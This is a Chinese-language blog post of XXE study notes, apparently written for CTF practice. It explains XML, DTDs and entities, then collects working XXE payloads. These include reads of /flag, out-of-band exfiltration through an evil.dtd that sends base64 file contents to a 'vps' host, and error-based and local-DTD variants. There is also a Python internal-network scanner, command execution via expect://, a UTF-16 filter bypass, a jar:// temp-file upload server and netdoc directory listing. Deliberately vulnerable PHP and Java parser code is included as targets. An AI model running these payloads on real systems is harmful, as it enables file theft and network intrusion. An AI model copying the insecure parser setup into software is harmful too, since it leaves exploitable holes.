xxe学习总结

从XML到XXE

XML

什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。

XML 和 HTML 之间的差异
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:

XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。

XML文档结构包括XML声明DTD文档类型定义(可选)文档元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!--XML申明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

DTD引用方式

1)DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>

2)DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3)引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

DTD 关键字

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
  • ELEMENT(定义元素声明)

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体/普通实体 (General entities)
  • 参数实体 (Parameter entities)

内置实体

1
2
3
4
5
&符号: &amp;
单引号: &apos;
>: &gt;
<: &lt;
双引号: &quot;

字符实体

通常是html的实体编码,例如:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?>
<!DOCTYPE author[
<!ELEMENT author (#PCDATA)>
<!ENTITY copyright "&#169;">
]>
<author>&writer;&copyright;</author>

&#169©

普通实体

例如:

1
2
3
4
5
6
7
8
9
<?xml version = "1.0"?>

<!DOCTYPE note [
<!ENTITY source-text "tutorialspoint">
]>

<note>
&source-text;
</note>

参数实体

例如

1
<!ENTITY % ename "entity_value">

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

内部实体与外部实体

实体根据引用方式,还可分为内部实体与外部实体。

内部实体:
<!ENTITY entity_name "entity_value">

外部实体:
<!ENTITY name SYSTEM "URI/URL">

通用实体和参数实体

其实按照使用来分类,又可以将实体分为通用实体和参数实体。

通用实体:
&实体名;引用的实体,他在DTD中定义,在XML文档中引用

参数实体:
使用% 实体名DTD中定义,并且只能在DTD中使用%实体名;引用
只有在DTD文件中,参数实体的声明才能引用其他实体
和通用实体一样,参数实体也可以外部引用

不同程序支持的协议

1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持

PHP支持的协议会更多一些,但需要一定的扩展:

XXE

XXE漏洞全称XML External Entity Injection即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE的几种利用方式

有回显任意文件读取(Normal Based XXE)

服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件

xxe.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); //获取客户端输入内容
if(isset($xmlfile)){
$dom = new DOMDocument(); //初始化XML解析器
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载客户端输入的XML内容
$creds = simplexml_import_dom($dom); //获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE
echo $creds;
}
highlight_file(__FILE__);
?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<a>&xxe;</a>

特殊符号

如果读取的文件中包含特殊符号,比如<>&"'等,就会返回一些报错信息

这时可以使用CDATA或者base64 convert

术语CDATA指的是不应由XML解析器进行解析的文本数据(Unparsed Character Data)
CDATA部分由"<![CDATA["开始,由"]]>"结束,解析器会忽略CDATA部分中的所有内容

我们的思路就是把读取的文件放在CDATA中之后再调用

payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///flag"> ]]>"
>]
% xxe;>
<test>&start</test>

不过使用这个payload读文件时还是会报错,因为在xml中,xml解析器有个限制:不能在内部Entity中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用

所以需要调用的外部的dtd

payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///flag">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://vps/evil.dtd">%dtd;
]>
<root>&all;</root>

evil.dtd

1
<!ENTITY all "%start;%go;%end;">

无回显任意文件读取(Blind Based XXE)

xxe.php

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>

出网

payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/evil.dtd">
%remote;%int;%send;
]>

evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port?a=%file;'>">

vps上监听对应的端口

先调用了%remote,请求远程服务器上的evil.dtd,类似php的include,然后%int调用%file%file获取敏感文件后将结果填入到%send,最后调用%send把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,要注意实体的值中不能有%, 所以将其转成html实体编码

不出网

以上都是引入外部服务器的OOB XXE(Out-of-band),虽然好用,但是有一个软肋。当服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就无法接受到数据了。

这时候就可以考虑利用本地dtd来进行XXE

linux

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

windows

1
2
3
<!ENTITY % local_dtd SYSTEM "file://C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

引用内部实体payload

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

基于报错的XXE(Error Based XXE)

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

出网payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "https://vps/evil.dtd">
<!ENTITY % file SYSTEM "file:///flag">
%remote;
%error;
]>

<message>test</message>

evil.dtd

1
2
<!ENTITY % start "<!ENTITY &#37; error SYSTEM 'file:///fakefile/%file;'>">
%start;

不出网如果可以写文件的话就可以构造本地恶意dtd

不出网payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///tmp/evil.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<user>
<username>flag</username>
<password>root</password>
</user>

evil.dtd

1
2
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

探测内网主机与端口

利用http协议和网页响应时间来判断主机存活

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64
def XXE(ip,string):
try:
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
x = requests.post('http://192.168.91.134/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2]
print(' [+]',ip,'Successfully Found !!!')
except:
print(' [-]',ip,'Error Not Found !!!')
pass

if __name__ == '__main__':
headers = {'Content-Type':'application/xml'}
for i in range(130,150):
ip = '192.168.91.' + str(i)
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
XXE(ip,string)

根据返回内容的不同来判断端口是否开启

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe SYSTEM "http://192.168.91.149:80" [
<!ELEMENT xxe (#PCDATA) >
]>
<xxe>666</xxe>

执行系统命令

在安装expect扩展的PHP环境里执行系统命令

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>

利用utf-16编码绕过

1
2
3
4
5
6
7
8
9
10
11
import requests
url = 'http://9b6b0b8a-f306-4372-9f2c-60abfae7b4d4.challenge.ctf.show/'
payload = '''
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/evil.dtd">
%remote;%int;%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

或者命令转换编码iconv -f utf8 -t UTF-32LE 1.xml > 2.xmlecho urlencode(file_get_contents("payload.xml"));

jar:// 文件上传

Java环境下还可以利用jar协议上传文件

jar协议语法,jar:{url}!/{entry}url是文件的路径,entry是想要解压出来的文件

jar 协议处理文件的过程:
1:下载 jar/zip 文件到临时文件中
2:提取出我们指定的文件
3:删除临时文件

payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://ip:port/1.zip!/1.php">
]>
<convert>&remote;</convert>

1.zip中没有1.php时,java解析器就会报错,说在这个临时文件中找不到这个文件,这样就得到了临时文件的路径,可以利用文件包含等漏洞去进一步利用这个文件,其原理类似于phpphpinfo临时文件包含

本地搭建一个环境测试:

main.java,部署在tomcat上,模拟一个存在xxe漏洞的网页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

@WebServlet("/xxe")
public class main extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{

}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
String parmeter = request.getParameter("poc");

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();
} catch (ParserConfigurationException e) {
throw new RuntimeException(e);
}
StringReader sr = new StringReader(parmeter);
InputSource is = new InputSource(sr);

try {
Document document = db.parse(is);
PrintWriter writer = response.getWriter();
Element element = document.getDocumentElement();
NodeList list = element.getChildNodes();
for (int iloop = 0; iloop < list.getLength(); iloop++) {
Node node = list.item(iloop);
if (node.getNodeType() == Node.ELEMENT_NODE) {
writer.write(node.getNodeName() + ":"
+ node.getTextContent());
}
}
writer.close();
} catch (SAXException e) {
throw new RuntimeException(e);
}

}

}

再用python起个http服务,进行监听

xxe-jar.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))


if __name__ == '__main__':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()

执行python xxe-jar.py evil.zip

evil.zip就是要上传的文件了,不一定要是zip,但是因为jar协议会对文件进行解包操作,如果不上传zip格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次zip格式文件获取路径然后再上传其他文件

访问/xxepostpayload

获取路径

上传文件

监听情况,30是延时了30

至于为什么要延迟,回到jar协议处理文件的过程,因为最后一步会删除临时文件,所以我们就要考虑如何让这个文件能更长时间的停留在我们的系统之中,解决方法是在文件结尾添加一个垃圾字符,然后发送除了最后一个字节的所有数据后进行sleep,这样实际上已经传完了,但是服务器以为没传完,就暂时不会删除临时文件了

netdoc 协议

Javanetdoc协议可以替代file协议功能,读文件,同时也可以列目录

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
]>
<creds>&xxe;</creds>
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///var/www/html/">
]>
<creds>&xxe;</creds>

参考:
从XML相关一步一步到XXE漏洞
XXE 总结
一篇文章带你深入理解漏洞之 XXE 漏洞
从几道CTF题学习Blind XXE
Java XXE 漏洞
java代码审计-xxe
XML之DTD
xxe漏洞攻击与防御
XXE 漏洞总结


xxe学习总结
https://www.dr0n.top/posts/aaf14e8/
作者
dr0n
发布于
2023年2月15日
更新于
2024年3月21日
许可协议